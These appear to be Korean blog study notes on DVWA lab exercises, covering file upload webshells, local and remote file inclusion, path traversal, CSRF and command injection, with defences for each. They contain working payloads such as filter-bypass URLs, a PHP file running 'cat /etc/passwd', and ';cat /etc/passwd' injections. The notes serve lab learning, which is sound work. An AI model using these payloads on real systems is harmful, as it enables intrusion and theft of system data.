파일 업로드 공격

 

파일이 업로드 되는 페이지(게시판, SNS 등)에 악성 파일(웹쉘)을 업로드

 

웹쉘 php 파일을 업로드를 하게 되면

 

../../hackable/uploads/webshell.php succesfully uploaded!

 

라고 뜬다

 

주소창을 보면 현재

 

http://localhost/dvwa/vulnerabilities/upload/#

 

두번의 상위 디렉토리이므로

 

http://localhost/dvwa/hackable/uploads/webshell.php

 

를 치고 들어가면

 

웹쉘 커맨드가 나온다

 

medium 단계에서는

 

jpeg나 png 확장자만 가능하다고 하다

 

버프스위트를 키고 인터셉트를 킨 다음 업로드를 누르면

 

보내는 것에 대한 정보가 나온다

 

그 중 Content-Type 을 조작해볼거다

 

image/jpeg 라고 해주고 forward 로 보내주면

 

성공적으로 됨을 볼 수 있다

 

high 단계는 실제 파일 확장자가 jpg 인지 jpeg 인지 png 인지 확인하게 된다

 

버프스위트를 키고 인터셉트 킨 후 똑같이 업로드를 한다

 

파일명을 webshell.php 되어있는 것 뒤에 .jpg를 붙히면 된다

 

webshell.php.jpg 이렇게 말이다

 

그리고 뒤에 GIF89a를 적어준다

 

이 때 GIF89a 는 GIF파일의 표준의 값으로 이것을 파일 앞에 입력하게 되면 이미지파일처럼 해서 속일 수 있다

 

하지만 이렇게 해서 얻은 url을 치면 결국은 jpg파일이기 때문에 실행이 안된다

 

만약 파일인클루젼 공격이 가능한 경우에 이걸 조합하면 가능하다

 

파일이 jpg파일이더라도 결국 웹쉘코드이기 때문에 파일에 삽입된 코드를 인클루드해서 할 수 있다

 

먼저 File Inclusion을 들어가서 주소창을 본다

 

high 단계에서는 file 을 적어주어야 우회가 되기 때문에 file로 시작한다

 

그리고 아까 경로를 보면 ../../hackable/uploads/webshell.php.jpg 이기 때문에

 

http://localhost/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg

 

라고 치면 좌측상단에 쉘이 뜨는걸 볼 수 있다

 

하지만 이 쉘 폼을 이용하면 오류가 뜨게된다

 

그래서 결국 cmd파라미터를 사용하기 때문에

 

바로 주소 뒤에 &cmd= 로 넘겨주어야 한다

 

즉 http://localhost/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg&cmd=cat /etc/passwd

 

하게되면 정보를 출력하게 된다

 

이것은 3가지 공격방법이 섞인 공격이다 (파일업로드 공격 + 파일인클루젼 공격 + 패스트래버설 공격)

 

impossible 단계에서는

 

이미지 파일이 맞는지 확인한 다음에 업로드 된 내용으로 이미지 파일을 다시 생성하고 있다

 

이 방법 말고도 업로드 파일 이름을 랜덤으로 변경해서 해커가 마음대로 접근하지 못하게 하는 방법도 있다

 

또 다른 방법은 업로드되는 서버를 웹 애플리케이션 서버와 분리하는 것

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(9)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15

파일 인쿠르젼 공격

지정한 파일을 PHP include()로 소스코드에 삽입

로컬파일인클루젼(LFI) - 이미 시스템에 존재하는 파일을 인클루드

리모트파일인클루젼(RFI) - 외부에 있는 파일을 원격으로 인클루드

 

사용법은

 

먼저 파일하나를 만들어보자

 

bad.php

<?php
	print "RFI Success, hacked";
    system('cat /etc/passwd');
?>

이렇게 만들어주고

 

문제 홈페이지를 보자

 

http://localhost/dvwa/vulnerabilities/fi/?page=include.php

 

이것인데

 

http://localhost/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/bad.php

 

이렇게 해주면 파일인클루젼 공격이 성공함을 볼 수 있다

 

LFI는 이미 존재하는 내부파일만 사용할 수 있어서 RFI보다는 공격성이 떨어진다

 

http://localhost/dvwa/vulnerabilities/fi/?page=/etc/passwd

 

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd (상위 디렉토리 접근)

 

이렇게 상위 디렉토리로 접근해서 하는 방식을

 

패스 트래버설(Path Traversal) 공격이라고 한다

 

medium단계를 보자

 

http:// 나 https://로 시작하는 것들을 공백으로 바꿔버리고

 

../ ..\ 또한 공백으로 바꿔버린다

 

이 때는 http 사이에 http를 다시 붙혀준다

 

http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/bad.php

 

http://가 입력값 검증으로 없어졌지만 지워진 나머지가 다시 http://를 구성하기 때문에 가능했다

 

high 단계

 

소스를 보니 file로 시작하지 않거나 include.php가 아니라면 에러를 발생시킨다

 

이것은 LFI만 가능하다

 

page=file/../../../../../../../etc/passwd 해주면 나온다

 

impossible 단계를 보면

 

if문으로 하나하나 include.php file1.php file2.php file3.php 가 아닐 시 에러메세지를 출력하게 한다

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15

CSRF 공격

 

Croos Site Request Forgery

사이트 간 요청 위조

피싱을 활용해 사용자 모르게 패스워드 변경

옥션 해킹 사건에서 사용된 공격기법

 

이 공격 기법은 로그인이 된 상태라는 전제를 깔고 하는 공격 기법이다

 

로그인된 상태에서만 세션쿠키 값이 요청에 자동으로 포함될 수 있기 때문

 

세션쿠키가 요청에 추가되어야만 사이트가 이 사용자는 로그인 되어있으니 믿을만 하겠다고 판단하여

 

그 요청을 실행하기 때문

 

HTTP_REFERER 변수는 레퍼러 헤더를 검사하는 부분임

 

레퍼러 헤더는 어떤 요청이 전송 될 때 이전에 어떤 경로로부터 요청되었는지 알려주기 위해

 

웹브라우저가 자동으로 설정하는 헤더이다

 

레퍼러가 서버주소와 동일한지 비교해야하는데 이 값이 틀리면 차단함으로써 csrf을 어느정도 대응할 수 있다

 

csrf가 웹서버 자체에서 실행이 된다면 레퍼러 헤더에 서버주소가 설정되기 때문에 이 서버주소가 레퍼러에 있는지는

 

우회될 수 있다

 

eregi 이 함수는 앞의 문자열이 뒤의 문자열에 포함이 되어있는지 확인하는 코드

 

즉 서버주소가 레퍼러 안에 포함되어있는지 체크하는 것

 

근데 이경우는 단순히 서버주소가 포함되기만 하면 되기 때문에 공격파일에 서버주소를 넣어보면된다

 

csrf.html 을 csrf_localhost.html 으로 변경해준다

 

referer헤더를 비교할때에는 앞에서부터 정확하게 referer에있는 주소부분이 서버주소가 맞는지 체크해야함

 

high 단계를 보자

 

여기서는 user_token이 추가되었음을 확인할 수 있다

 

이것을 csrf token 이라고도 하는데 웹페이지가 요청될 때마다 token값이 바뀐다

 

req1함수에서 유저토큰을 알아내기위해 첫번째 요청을 보냄

 

req2함수 내에서 첫번째 요청을 분석하여 유저토큰을 뽑아내 포함시켜 보냄

 

이로써 우회해서 csrf공격이 가능해진다

 

impossible 단계에서는

 

현재 비밀번호 칸이 생겼다

 

이렇게되면 해커가 기존 비밀번호를 알고있지않은 한 csrf공격을 할 수 없다

 

하지만 XSS공격이 취약하다면 이것 또한 의미가 없으므로 XSS공격도 대비해야한다

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15
공부(2)  (0) 2021.09.15

커맨드인젝션 공격

 

웹을 통해 시스템명령어(커맨드)를 실행하는 공격

 

웹 내부에서 시스템 명령어를 실행하는 경우,

입력값을 제대로 검사하지 않으면, 해커 마음대로 시스템 명령어를 실행

 

리눅스에서는 ;를 붙히면 둘다 실행함

 

ping; cat/etc/passwd 이런식으로 보내면 핑과 passwd 정보가 출력된다

 

ping -c 4 127.0.0.1; ls

 

하면 핑 출력 후 ls결과인 디렉토리들이 출력된다

 

ping -c 4; ls 도 가능하다

 

;cat /etc/passwd 로 정보를 얻을 수 있었고

 

;id 로 나의 권한 또한 알 수 있었다

 

medium단계

 

&& 는 윈도우에서 리눅스의 ;과 같은 기능을 하는 것임

 

이를 대체할 것들이 있다

 

바로 & 과 | 이다 

 

|는 앞 명령의 결과를 뒤 명령으로 넘겨줄 때 사용하는 특수문자이다

 

&는 백그라운드로 명령을 실행할 때 사용한다

 

ping명령을 백그라운드에서 실행되게 만들고 뒤에 id명령어는 그대로 실행된다

 

커맨드인젝션 공격대응

 

사용자 입력값이 의도에 맞는지 검사하는 것이 가장 좋은 방법

 

ip로 받은 문자를 .으로 구분한다

 

구분된 값들이 각각 숫자인지 확인해주면 된다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(3)  (0) 2021.09.15
공부(2)  (0) 2021.09.15
공부(1)  (0) 2021.09.15

+ Recent posts